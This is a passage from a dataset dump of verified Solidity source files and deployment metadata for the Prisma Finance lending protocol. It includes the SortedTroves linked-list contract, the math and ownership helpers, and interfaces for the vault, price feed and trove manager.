_NICR, address _prevId, address _nextId) external view returns (bool);\n}\n"
},
"contracts/interfaces/IVault.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPrismaVault {\n struct InitialAllowance {\n address receiver;\n uint256 amount;\n }\n\n event BoostCalculatorSet(address boostCalculator);\n event BoostDelegationSet(address indexed boostDelegate, bool isEnabled, uint256 feePct, address callback);\n event EmissionScheduleSet(address emissionScheduler);\n event IncreasedAllocation(address indexed receiver, uint256 increasedAmount);\n event NewReceiverRegistered(address receiver, uint256 id);\n event ReceiverIsActiveStatusModified(uint256 indexed id, bool isActive);\n event UnallocatedSupplyIncreased(uint256 increasedAmount, uint256 unallocatedTotal);\n event UnallocatedSupplyReduced(uint256 reducedAmount, uint256 unallocatedTotal);\n\n function allocateNewEmissions(uint256 id) external returns (uint256);\n\n function batchClaimRewards(\n address receiver,\n address boostDelegate,\n address[] calldata rewardContracts,\n uint256 maxFeePct\n ) external returns (bool);\n\n function increaseUnallocatedSupply(uint256 amount) external returns (bool);\n\n function registerReceiver(address receiver, uint256 count) external returns (bool);\n\n function setBoostCalculator(address _boostCalculator) external returns (bool);\n\n function setBoostDelegationParams(bool isEnabled, uint256 feePct, address callback) external returns (bool);\n\n function setEmissionSchedule(address _emissionSchedule) external returns (bool);\n\n function setInitialParameters(\n address _emissionSchedule,\n address _boostCalculator,\n uint256 totalSupply,\n uint64 initialLockWeeks,\n uint128[] calldata _fixedInitialAmounts,\n InitialAllowance[] calldata initialAllowances\n ) external;\n\n function setReceiverIsActive(uint256 id, bool isActive) external returns (bool);\n\n function transferAllocatedTokens(address claimant, address receiver, uint256 amount) external returns (bool);\n\n function transferTokens(address token, address receiver, uint256 amount) external returns (bool);\n\n function PRISMA_CORE() external view returns (address);\n\n function allocated(address) external view returns (uint256);\n\n function boostCalculator() external view returns (address);\n\n function boostDelegation(address) external view returns (bool isEnabled, uint16 feePct, address callback);\n\n function claimableRewardAfterBoost(\n address account,\n address receiver,\n address boostDelegate,\n address rewardContract\n ) external view returns (uint256 adjustedAmount, uint256 feeToDelegate);\n\n function emissionSchedule() external view returns (address);\n\n function getClaimableWithBoost(address claimant) external view returns (uint256 maxBoosted, uint256 boosted);\n\n function getWeek() external view returns (uint256 week);\n\n function guardian() external view returns (address);\n\n function idToReceiver(uint256) external view returns (address account, bool isActive);\n\n function lockWeeks() external view returns (uint64);\n\n function locker() external view returns (address);\n\n function owner() external view returns (address);\n\n function claimableBoostDelegationFees(address claimant) external view returns (uint256 amount);\n\n function prismaToken() external view returns (address);\n\n function receiverUpdatedWeek(uint256) external view returns (uint16);\n\n function totalUpdateWeek() external view returns (uint64);\n\n function unallocatedTotal() external view returns (uint128);\n\n function voter() external view returns (address);\n\n function weeklyEmissions(uint256) external view returns (uint128);\n}\n"
},
"contracts/interfaces/IPriceFeed.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPriceFeed {\n event NewOracleRegistered(address token, address chainlinkAggregator, bool isEthIndexed);\n event PriceFeedStatusUpdated(address token, address oracle, bool isWorking);\n event PriceRecordUpdated(address indexed token, uint256 _price);\n\n function fetchPrice(address _token) external returns (uint256);\n\n function setOracle(\n address _token,\n address _chainlinkOracle,\n bytes4 sharePriceSignature,\n uint8 sharePriceDecimals,\n bool _isEthIndexed\n ) external;\n\n function MAX_PRICE_DEVIATION_FROM_PREVIOUS_ROUND() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function RESPONSE_TIMEOUT() external view returns (uint256);\n\n function TARGET_DIGITS() external view returns (uint256);\n\n function guardian() external view returns (address);\n\n function oracleRecords(\n address\n )\n external\n view\n returns (\n address chainLinkOracle,\n uint8 decimals,\n bytes4 sharePriceSignature,\n uint8 sharePriceDecimals,\n bool isFeedWorking,\n bool isEthIndexed\n );\n\n function owner() external view returns (address);\n\n function priceRecords(\n address\n ) external view returns (uint96 scaledPrice, uint32 timestamp, uint32 lastUpdated, uint80 roundId);\n}\n"
},
"contracts/interfaces/IPrismaCallbacks.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nstruct ReedemedTrove {\n address account;\n uint256 debtLot;\n uint256 collateralLot;\n}\n\ninterface ITroveRedemptionsCallback {\n /**\n * @notice Function called after redemptions are executed in a Trove Manager\n * @dev This functions should be called EXCLUSIVELY by a registered Trove Manger\n * @param redemptions Values related to redeemed troves\n */\n function onRedemptions(ReedemedTrove[] memory redemptions) external returns (bool);\n}\n"
},
"contracts/dependencies/SystemStart.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"contracts/interfaces/IPrismaCore.sol\";\n\n/**\n @title Prisma System Start Time\n @dev Provides a unified `startTime` and `getWeek`, used for emissions.\n */\ncontract SystemStart {\n uint256 immutable startTime;\n\n constructor(address prismaCore) {\n startTime = IPrismaCore(prismaCore).startTime();\n }\n\n function getWeek() public view returns (uint256 week) {\n return (block.timestamp - startTime) / 1 weeks;\n }\n}\n"
},
"contracts/interfaces/IPrismaCore.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPrismaCore {\n event FeeReceiverSet(address feeReceiver);\n event GuardianSet(address guardian);\n event NewOwnerAccepted(address oldOwner, address owner);\n event NewOwnerCommitted(address owner, address pendingOwner, uint256 deadline);\n event NewOwnerRevoked(address owner, address revokedOwner);\n event Paused();\n event PriceFeedSet(address priceFeed);\n event Unpaused();\n\n function acceptTransferOwnership() external;\n\n function commitTransferOwnership(address newOwner) external;\n\n function revokeTransferOwnership() external;\n\n function setFeeReceiver(address _feeReceiver) external;\n\n function setGuardian(address _guardian) external;\n\n function setPaused(bool _paused) external;\n\n function setPriceFeed(address _priceFeed) external;\n\n function OWNERSHIP_TRANSFER_DELAY() external view returns (uint256);\n\n function feeReceiver() external view returns (address);\n\n function guardian() external view returns (address);\n\n function owner() external view returns (address);\n\n function ownershipTransferDeadline() external view returns (uint256);\n\n function paused() external view returns (bool);\n\n function pendingOwner() external view returns (address);\n\n function priceFeed() external view returns (address);\n\n function startTime() external view returns (uint256);\n}\n"
},
"contracts/dependencies/PrismaBase.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\n/*\n * Base contract for TroveManager, BorrowerOperations and StabilityPool. Contains global system constants and\n * common functions.\n */\ncontract PrismaBase {\n uint256 public constant DECIMAL_PRECISION = 1e18;\n\n // Critical system collateral ratio. If the system's total collateral ratio (TCR) falls below the CCR, Recovery Mode is triggered.\n uint256 public constant CCR = 1500000000000000000; // 150%\n\n // Amount of debt to be locked in gas pool on opening troves\n uint256 public immutable DEBT_GAS_COMPENSATION;\n\n uint256 public constant PERCENT_DIVISOR = 200; // dividing by 200 yields 0.5%\n\n constructor(uint256 _gasCompensation) {\n DEBT_GAS_COMPENSATION = _gasCompensation;\n }\n\n // --- Gas compensation functions ---\n\n // Returns the composite debt (drawn debt + gas compensation) of a trove, for the purpose of ICR calculation\n function _getCompositeDebt(uint256 _debt) internal view returns (uint256) {\n return _debt + DEBT_GAS_COMPENSATION;\n }\n\n function _getNetDebt(uint256 _debt) internal view returns (uint256) {\n return _debt - DEBT_GAS_COMPENSATION;\n }\n\n // Return the amount of collateral to be drawn from a trove's collateral and sent as gas compensation.\n function _getCollGasCompensation(uint256 _entireColl) internal pure returns (uint256) {\n return _entireColl / PERCENT_DIVISOR;\n }\n\n function _requireUserAcceptsFee(uint256 _fee, uint256 _amount, uint256 _maxFeePercentage) internal pure {\n uint256 feePercentage = (_fee * DECIMAL_PRECISION) / _amount;\n require(feePercentage <= _maxFeePercentage, \"Fee exceeded provided maximum\");\n }\n}\n"
},
"contracts/dependencies/PrismaMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nlibrary PrismaMath {\n uint256 internal constant DECIMAL_PRECISION = 1e18;\n\n /* Precision for Nominal ICR (independent of price). Rationale for the value:\n *\n * - Making it “too high” could lead to overflows.\n * - Making it “too low” could lead to an ICR equal to zero, due to truncation from Solidity floor division.\n *\n * This value of 1e20 is chosen for safety: the NICR will only overflow for numerator > ~1e39,\n * and will only truncate to 0 if the denominator is at least 1e20 times greater than the numerator.\n *\n */\n uint256 internal constant NICR_PRECISION = 1e20;\n\n function _min(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a < _b) ? _a : _b;\n }\n\n function _max(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a >= _b) ? _a : _b;\n }\n\n /*\n * Multiply two decimal numbers and use normal rounding rules:\n * -round product up if 19'th mantissa digit >= 5\n * -round product down if 19'th mantissa digit < 5\n *\n * Used only inside the exponentiation, _decPow().\n */\n function decMul(uint256 x, uint256 y) internal pure returns (uint256 decProd) {\n uint256 prod_xy = x * y;\n\n decProd = (prod_xy + (DECIMAL_PRECISION / 2)) / DECIMAL_PRECISION;\n }\n\n /*\n * _decPow: Exponentiation function for 18-digit decimal base, and integer exponent n.\n *\n * Uses the efficient \"exponentiation by squaring\" algorithm. O(log(n)) complexity.\n *\n * Called by two functions that represent time in units of minutes:\n * 1) TroveManager._calcDecayedBaseRate\n * 2) CommunityIssuance._getCumulativeIssuanceFraction\n *\n * The exponent is capped to avoid reverting due to overflow. The cap 525600000 equals\n * \"minutes in 1000 years\": 60 * 24 * 365 * 1000\n *\n * If a period of > 1000 years is ever used as an exponent in either of the above functions, the result will be\n * negligibly different from just passing the cap, since:\n *\n * In function 1), the decayed base rate will be 0 for 1000 years or > 1000 years\n * In function 2), the difference in tokens issued at 1000 years and any time > 1000 years, will be negligible\n */\n function _decPow(uint256 _base, uint256 _minutes) internal pure returns (uint256) {\n if (_minutes > 525600000) {\n _minutes = 525600000;\n } // cap to avoid overflow\n\n if (_minutes == 0) {\n return DECIMAL_PRECISION;\n }\n\n uint256 y = DECIMAL_PRECISION;\n uint256 x = _base;\n uint256 n = _minutes;\n\n // Exponentiation-by-squaring\n while (n > 1) {\n if (n % 2 == 0) {\n x = decMul(x, x);\n n = n / 2;\n } else {\n // if (n % 2 != 0)\n y = decMul(x, y);\n x = decMul(x, x);\n n = (n - 1) / 2;\n }\n }\n\n return decMul(x, y);\n }\n\n function _getAbsoluteDifference(uint256 _a, uint256 _b) internal pure returns (uint256) {\n return (_a >= _b) ? _a - _b : _b - _a;\n }\n\n function _computeNominalCR(uint256 _coll, uint256 _debt) internal pure returns (uint256) {\n if (_debt > 0) {\n return (_coll * NICR_PRECISION) / _debt;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n\n function _computeCR(uint256 _coll, uint256 _debt, uint256 _price) internal pure returns (uint256) {\n if (_debt > 0) {\n uint256 newCollRatio = (_coll * _price) / _debt;\n\n return newCollRatio;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n\n function _computeCR(uint256 _coll, uint256 _debt) internal pure returns (uint256) {\n if (_debt > 0) {\n uint256 newCollRatio = (_coll) / _debt;\n\n return newCollRatio;\n }\n // Return the maximal value for uint256 if the Trove has a debt of 0. Represents \"infinite\" CR.\n else {\n // if (_debt == 0)\n return 2 ** 256 - 1;\n }\n }\n}\n"
},
"contracts/dependencies/PrismaOwnable.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"contracts/interfaces/IPrismaCore.sol\";\n\n/**\n @title Prisma Ownable\n @notice Contracts inheriting `PrismaOwnable` have the same owner as `PrismaCore`.\n The ownership cannot be independently modified or renounced.\n */\ncontract PrismaOwnable {\n IPrismaCore public immutable PRISMA_CORE;\n\n constructor(address _prismaCore) {\n PRISMA_CORE = IPrismaCore(_prismaCore);\n }\n\n modifier onlyOwner() {\n require(msg.sender == PRISMA_CORE.owner(), \"Only owner\");\n _;\n }\n\n function owner() public view returns (address) {\n return PRISMA_CORE.owner();\n }\n\n function guardian() public view returns (address) {\n return PRISMA_CORE.guardian();\n }\n}\n"
}
},
"settings": {
"evmVersion": "paris",
"optimizer": {
"enabled": true,
"runs": 200
},
"libraries": {
"TroveManager.sol": {}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,497,383 |
5cedefecd212b2699bb4fc85ca1e76e6acabe0b5f645cb05da68110439c6b8d8
|
61a791f49a6f0eab9e414c58c416059876cdb74872a68a2bbfa657113de8ee0d
|
d8531a94100f15af7521a7b6e724ac4959e0a025
|
db2222735e926f3a18d7d1d0cfeef095a66aea2a
|
aa8ec78c444ea5d6d55191c86ed6d128bcb50f8b
|
3d602d80600a3d3981f3363d3d373d3d3d363d735c454338173b399bb9cd5c0259d0d242a71a14645af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d735c454338173b399bb9cd5c0259d0d242a71a14645af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"contracts/core/SortedTroves.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"contracts/interfaces/ITroveManager.sol\";\n\n/**\n @title Prisma Sorted Troves\n @notice Based on Liquity's `SortedTroves`:\n https://github.com/liquity/dev/blob/main/packages/contracts/contracts/SortedTroves.sol\n\n Originally derived from `SortedDoublyLinkedList`:\n https://github.com/livepeer/protocol/blob/master/contracts/libraries/SortedDoublyLL.sol\n */\ncontract SortedTroves {\n ITroveManager public troveManager;\n\n Data public data;\n\n // Information for a node in the list\n struct Node {\n bool exists;\n address nextId; // Id of next node (smaller NICR) in the list\n address prevId; // Id of previous node (larger NICR) in the list\n }\n\n // Information for the list\n struct Data {\n address head; // Head of the list. Also the node in the list with the largest NICR\n address tail; // Tail of the list. Also the node in the list with the smallest NICR\n uint256 size; // Current size of the list\n mapping(address => Node) nodes; // Track the corresponding ids for each node in the list\n }\n\n event NodeAdded(address _id, uint256 _NICR);\n event NodeRemoved(address _id);\n\n function setAddresses(address _troveManagerAddress) external {\n require(address(troveManager) == address(0), \"Already set\");\n troveManager = ITroveManager(_troveManagerAddress);\n }\n\n /*\n * @dev Add a node to the list\n * @param _id Node's id\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n\n function insert(address _id, uint256 _NICR, address _prevId, address _nextId) external {\n ITroveManager troveManagerCached = troveManager;\n\n _requireCallerIsTroveManager(troveManagerCached);\n\n Node storage node = data.nodes[_id];\n // List must not already contain node\n require(!node.exists, \"SortedTroves: List already contains the node\");\n // Node id must not be null\n require(_id != address(0), \"SortedTroves: Id cannot be zero\");\n\n _insert(node, troveManagerCached, _id, _NICR, _prevId, _nextId);\n }\n\n function _insert(\n Node storage node,\n ITroveManager _troveManager,\n address _id,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal {\n // NICR must be non-zero\n require(_NICR > 0, \"SortedTroves: NICR must be positive\");\n\n address prevId = _prevId;\n address nextId = _nextId;\n\n if (!_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n // Sender's hint was not a valid insert position\n // Use sender's hint to find a valid insert position\n (prevId, nextId) = _findInsertPosition(_troveManager, _NICR, prevId, nextId);\n }\n\n node.exists = true;\n\n if (prevId == address(0) && nextId == address(0)) {\n // Insert as head and tail\n data.head = _id;\n data.tail = _id;\n } else if (prevId == address(0)) {\n // Insert before `prevId` as the head\n address head = data.head;\n node.nextId = head;\n data.nodes[head].prevId = _id;\n data.head = _id;\n } else if (nextId == address(0)) {\n // Insert after `nextId` as the tail\n address tail = data.tail;\n node.prevId = tail;\n data.nodes[tail].nextId = _id;\n data.tail = _id;\n } else {\n // Insert at insert position between `prevId` and `nextId`\n node.nextId = nextId;\n node.prevId = prevId;\n data.nodes[prevId].nextId = _id;\n data.nodes[nextId].prevId = _id;\n }\n\n data.size = data.size + 1;\n emit NodeAdded(_id, _NICR);\n }\n\n function remove(address _id) external {\n _requireCallerIsTroveManager(troveManager);\n _remove(data.nodes[_id], _id);\n }\n\n /*\n * @dev Remove a node from the list\n * @param _id Node's id\n */\n function _remove(Node storage node, address _id) internal {\n // List must contain the node\n require(node.exists, \"SortedTroves: List does not contain the id\");\n\n if (data.size > 1) {\n // List contains more than a single node\n if (_id == data.head) {\n // The removed node is the head\n // Set head to next node\n address head = node.nextId;\n data.head = head;\n // Set prev pointer of new head to null\n data.nodes[head].prevId = address(0);\n } else if (_id == data.tail) {\n address tail = node.prevId;\n // The removed node is the tail\n // Set tail to previous node\n data.tail = tail;\n // Set next pointer of new tail to null\n data.nodes[tail].nextId = address(0);\n } else {\n address prevId = node.prevId;\n address nextId = node.nextId;\n // The removed node is neither the head nor the tail\n // Set next pointer of previous node to the next node\n data.nodes[prevId].nextId = nextId;\n // Set prev pointer of next node to the previous node\n data.nodes[nextId].prevId = prevId;\n }\n } else {\n // List contains a single node\n // Set the head and tail to null\n data.head = address(0);\n data.tail = address(0);\n }\n\n delete data.nodes[_id];\n data.size = data.size - 1;\n emit NodeRemoved(_id);\n }\n\n /*\n * @dev Re-insert the node at a new position, based on its new NICR\n * @param _id Node's id\n * @param _newNICR Node's new NICR\n * @param _prevId Id of previous node for the new insert position\n * @param _nextId Id of next node for the new insert position\n */\n function reInsert(address _id, uint256 _newNICR, address _prevId, address _nextId) external {\n ITroveManager troveManagerCached = troveManager;\n\n _requireCallerIsTroveManager(troveManagerCached);\n\n Node storage node = data.nodes[_id];\n\n // Remove node from the list\n _remove(node, _id);\n\n _insert(node, troveManagerCached, _id, _newNICR, _prevId, _nextId);\n }\n\n /*\n * @dev Checks if the list contains a node\n */\n function contains(address _id) public view returns (bool) {\n return data.nodes[_id].exists;\n }\n\n /*\n * @dev Checks if the list is empty\n */\n function isEmpty() public view returns (bool) {\n return data.size == 0;\n }\n\n /*\n * @dev Returns the current size of the list\n */\n function getSize() external view returns (uint256) {\n return data.size;\n }\n\n /*\n * @dev Returns the first node in the list (node with the largest NICR)\n */\n function getFirst() external view returns (address) {\n return data.head;\n }\n\n /*\n * @dev Returns the last node in the list (node with the smallest NICR)\n */\n function getLast() external view returns (address) {\n return data.tail;\n }\n\n /*\n * @dev Returns the next node (with a smaller NICR) in the list for a given node\n * @param _id Node's id\n */\n function getNext(address _id) external view returns (address) {\n return data.nodes[_id].nextId;\n }\n\n /*\n * @dev Returns the previous node (with a larger NICR) in the list for a given node\n * @param _id Node's id\n */\n function getPrev(address _id) external view returns (address) {\n return data.nodes[_id].prevId;\n }\n\n /*\n * @dev Check if a pair of nodes is a valid insertion point for a new node with the given NICR\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n function validInsertPosition(uint256 _NICR, address _prevId, address _nextId) external view returns (bool) {\n return _validInsertPosition(troveManager, _NICR, _prevId, _nextId);\n }\n\n function _validInsertPosition(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal view returns (bool) {\n if (_prevId == address(0) && _nextId == address(0)) {\n // `(null, null)` is a valid insert position if the list is empty\n return isEmpty();\n } else if (_prevId == address(0)) {\n // `(null, _nextId)` is a valid insert position if `_nextId` is the head of the list\n return data.head == _nextId && _NICR >= _troveManager.getNominalICR(_nextId);\n } else if (_nextId == address(0)) {\n // `(_prevId, null)` is a valid insert position if `_prevId` is the tail of the list\n return data.tail == _prevId && _NICR <= _troveManager.getNominalICR(_prevId);\n } else {\n // `(_prevId, _nextId)` is a valid insert position if they are adjacent nodes and `_NICR` falls between the two nodes' NICRs\n return\n data.nodes[_prevId].nextId == _nextId &&\n _troveManager.getNominalICR(_prevId) >= _NICR &&\n _NICR >= _troveManager.getNominalICR(_nextId);\n }\n }\n\n /*\n * @dev Descend the list (larger NICRs to smaller NICRs) to find a valid insert position\n * @param _troveManager TroveManager contract, passed in as param to save SLOAD’s\n * @param _NICR Node's NICR\n * @param _startId Id of node to start descending the list from\n */\n function _descendList(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _startId\n ) internal view returns (address, address) {\n // If `_startId` is the head, check if the insert position is before the head\n if (data.head == _startId && _NICR >= _troveManager.getNominalICR(_startId)) {\n return (address(0), _startId);\n }\n\n address prevId = _startId;\n address nextId = data.nodes[prevId].nextId;\n\n // Descend the list until we reach the end or until we find a valid insert position\n while (prevId != address(0) && !_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n prevId = data.nodes[prevId].nextId;\n nextId = data.nodes[prevId].nextId;\n }\n\n return (prevId, nextId);\n }\n\n /*\n * @dev Ascend the list (smaller NICRs to larger NICRs) to find a valid insert position\n * @param _troveManager TroveManager contract, passed in as param to save SLOAD’s\n * @param _NICR Node's NICR\n * @param _startId Id of node to start ascending the list from\n */\n function _ascendList(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _startId\n ) internal view returns (address, address) {\n // If `_startId` is the tail, check if the insert position is after the tail\n if (data.tail == _startId && _NICR <= _troveManager.getNominalICR(_startId)) {\n return (_startId, address(0));\n }\n\n address nextId = _startId;\n address prevId = data.nodes[nextId].prevId;\n\n // Ascend the list until we reach the end or until we find a valid insertion point\n while (nextId != address(0) && !_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n nextId = data.nodes[nextId].prevId;\n prevId = data.nodes[nextId].prevId;\n }\n\n return (prevId, nextId);\n }\n\n /*\n * @dev Find the insert position for a new node with the given NICR\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n function findInsertPosition(\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) external view returns (address, address) {\n return _findInsertPosition(troveManager, _NICR, _prevId, _nextId);\n }\n\n function _findInsertPosition(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal view returns (address, address) {\n address prevId = _prevId;\n address nextId = _nextId;\n\n if (prevId != address(0)) {\n if (!contains(prevId) || _NICR > _troveManager.getNominalICR(prevId)) {\n // `prevId` does not exist anymore or now has a smaller NICR than the given NICR\n prevId = address(0);\n }\n }\n\n if (nextId != address(0)) {\n if (!contains(nextId) || _NICR < _troveManager.getNominalICR(nextId)) {\n // `nextId` does not exist anymore or now has a larger NICR than the given NICR\n nextId = address(0);\n }\n }\n\n if (prevId == address(0) && nextId == address(0)) {\n // No hint - descend list starting from head\n return _descendList(_troveManager, _NICR, data.head);\n } else if (prevId == address(0)) {\n // No `prevId` for hint - ascend list starting from `nextId`\n return _ascendList(_troveManager, _NICR, nextId);\n } else if (nextId == address(0)) {\n // No `nextId` for hint - descend list starting from `prevId`\n return _descendList(_troveManager, _NICR, prevId);\n } else {\n // Descend list starting from `prevId`\n return _descendList(_troveManager, _NICR, prevId);\n }\n }\n\n function _requireCallerIsTroveManager(ITroveManager _troveManager) internal view {\n require(msg.sender == address(_troveManager), \"SortedTroves: Caller is not the TroveManager\");\n }\n}\n"
},
"contracts/interfaces/ITroveManager.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITroveManager {\n event BaseRateUpdated(uint256 _baseRate);\n event CollateralSent(address _to, uint256 _amount);\n event LTermsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event LastFeeOpTimeUpdated(uint256 _lastFeeOpTime);\n event Redemption(\n uint256 _attemptedDebtAmount,\n uint256 _actualDebtAmount,\n uint256 _collateralSent,\n uint256 _collateralFee\n );\n event RewardClaimed(address indexed account, address indexed recipient, uint256 claimed);\n event SystemSnapshotsUpdated(uint256 _totalStakesSnapshot, uint256 _totalCollateralSnapshot);\n event TotalStakesUpdated(uint256 _newTotalStakes);\n event TroveIndexUpdated(address _borrower, uint256 _newIndex);\n event TroveSnapshotsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveUpdated(address indexed _borrower, uint256 _debt, uint256 _coll, uint256 _stake, uint8 _operation);\n\n function addCollateralSurplus(address borrower, uint256 collSurplus) external;\n\n function applyPendingRewards(address _borrower) external returns (uint256 coll, uint256 debt);\n\n function claimCollateral(address _receiver) external;\n\n function claimReward(address receiver) external returns (uint256);\n\n function closeTrove(address _borrower, address _receiver, uint256 collAmount, uint256 debtAmount) external;\n\n function closeTroveByLiquidation(address _borrower) external;\n\n function collectInterests() external;\n\n function decayBaseRateAndGetBorrowingFee(uint256 _debt) external returns (uint256);\n\n function decreaseDebtAndSendCollateral(address account, uint256 debt, uint256 coll) external;\n\n function fetchPrice() external returns (uint256);\n\n function finalizeLiquidation(\n address _liquidator,\n uint256 _debt,\n uint256 _coll,\n uint256 _collSurplus,\n uint256 _debtGasComp,\n uint256 _collGasComp\n ) external;\n\n function getEntireSystemBalances() external returns (uint256, uint256, uint256);\n\n function movePendingTroveRewardsToActiveBalances(uint256 _debt, uint256 _collateral) external;\n\n function notifyRegisteredId(uint256[] calldata _assignedIds) external returns (bool);\n\n function openTrove(\n address _borrower,\n uint256 _collateralAmount,\n uint256 _compositeDebt,\n uint256 NICR,\n address _upperHint,\n address _lowerHint,\n bool _isRecoveryMode\n ) external returns (uint256 stake, uint256 arrayIndex);\n\n function redeemCollateral(\n uint256 _debtAmount,\n address _firstRedemptionHint,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR,\n uint256 _maxIterations,\n uint256 _maxFeePercentage\n ) external;\n\n function setAddresses(address _priceFeedAddress, address _sortedTrovesAddress, address _collateralToken) external;\n\n function setParameters(\n uint256 _minuteDecayFactor,\n uint256 _redemptionFeeFloor,\n uint256 _maxRedemptionFee,\n uint256 _borrowingFeeFloor,\n uint256 _maxBorrowingFee,\n uint256 _interestRateInBPS,\n uint256 _maxSystemDebt,\n uint256 _MCR\n ) external;\n\n function setPaused(bool _paused) external;\n\n function setPriceFeed(address _priceFeedAddress) external;\n\n function startSunset() external;\n\n function updateBalances() external;\n\n function updateTroveFromAdjustment(\n bool _isRecoveryMode,\n bool _isDebtIncrease,\n uint256 _debtChange,\n uint256 _netDebtChange,\n bool _isCollIncrease,\n uint256 _collChange,\n address _upperHint,\n address _lowerHint,\n address _borrower,\n address _receiver\n ) external returns (uint256, uint256, uint256);\n\n function vaultClaimReward(address claimant, address) external returns (uint256);\n\n function BOOTSTRAP_PERIOD() external view returns (uint256);\n\n function CCR() external view returns (uint256);\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DECIMAL_PRECISION() external view returns (uint256);\n\n function L_collateral() external view returns (uint256);\n\n function L_debt() external view returns (uint256);\n\n function MAX_INTEREST_RATE_IN_BPS() external view returns (uint256);\n\n function MCR() external view returns (uint256);\n\n function PERCENT_DIVISOR() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function Troves(\n address\n )\n external\n view\n returns (\n uint256 debt,\n uint256 coll,\n uint256 stake,\n uint8 status,\n uint128 arrayIndex,\n uint256 activeInterestIndex\n );\n\n function accountLatestMint(address) external view returns (uint32 amount, uint32 week, uint32 day);\n\n function baseRate() external view returns (uint256);\n\n function borrowerOperationsAddress() external view returns (address);\n\n function borrowingFeeFloor() external view returns (uint256);\n\n function claimableReward(address account) external view returns (uint256);\n\n function collateralToken() external view returns (address);\n\n function dailyMintReward(uint256) external view returns (uint256);\n\n function debtToken() external view returns (address);\n\n function defaultedCollateral() external view returns (uint256);\n\n function defaultedDebt() external view returns (uint256);\n\n function emissionId() external view returns (uint16 debt, uint16 minting);\n\n function getBorrowingFee(uint256 _debt) external view returns (uint256);\n\n function getBorrowingFeeWithDecay(uint256 _debt) external view returns (uint256);\n\n function getBorrowingRate() external view returns (uint256);\n\n function getBorrowingRateWithDecay() external view returns (uint256);\n\n function getCurrentICR(address _borrower, uint256 _price) external view returns (uint256);\n\n function getEntireDebtAndColl(\n address _borrower\n ) external view returns (uint256 debt, uint256 coll, uint256 pendingDebtReward, uint256 pendingCollateralReward);\n\n function getEntireSystemColl() external view returns (uint256);\n\n function getEntireSystemDebt() external view returns (uint256);\n\n function getNominalICR(address _borrower) external view returns (uint256);\n\n function getPendingCollAndDebtRewards(address _borrower) external view returns (uint256, uint256);\n\n function getRedemptionFeeWithDecay(uint256 _collateralDrawn) external view returns (uint256);\n\n function getRedemptionRate() external view returns (uint256);\n\n function getRedemptionRateWithDecay() external view returns (uint256);\n\n function getTotalActiveCollateral() external view returns (uint256);\n\n function getTotalActiveDebt() external view returns (uint256);\n\n function getTotalMints(uint256 week) external view returns (uint32[7] memory);\n\n function getTroveCollAndDebt(address _borrower) external view returns (uint256 coll, uint256 debt);\n\n function getTroveFromTroveOwnersArray(uint256 _index) external view returns (address);\n\n function getTroveOwnersCount() external view returns (uint256);\n\n function getTroveStake(address _borrower) external view returns (uint256);\n\n function getTroveStatus(address _borrower) external view returns (uint256);\n\n function getWeek() external view returns (uint256 week);\n\n function getWeekAndDay() external view returns (uint256, uint256);\n\n function guardian() external view returns (address);\n\n function hasPendingRewards(address _borrower) external view returns (bool);\n\n function interestPayable() external view returns (uint256);\n\n function interestRate() external view returns (uint256);\n\n function lastFeeOperationTime() external view returns (uint256);\n\n function lastUpdate() external view returns (uint32);\n\n function liquidationManager() external view returns (address);\n\n function maxSystemDebt() external view returns (uint256);\n\n function minuteDecayFactor() external view returns (uint256);\n\n function owner() external view returns (address);\n\n function paused() external view returns (bool);\n\n function periodFinish() external view returns (uint32);\n\n function priceFeed() external view returns (address);\n\n function redemptionFeeFloor() external view returns (uint256);\n\n function rewardIntegral() external view returns (uint256);\n\n function rewardIntegralFor(address) external view returns (uint256);\n\n function rewardRate() external view returns (uint128);\n\n function 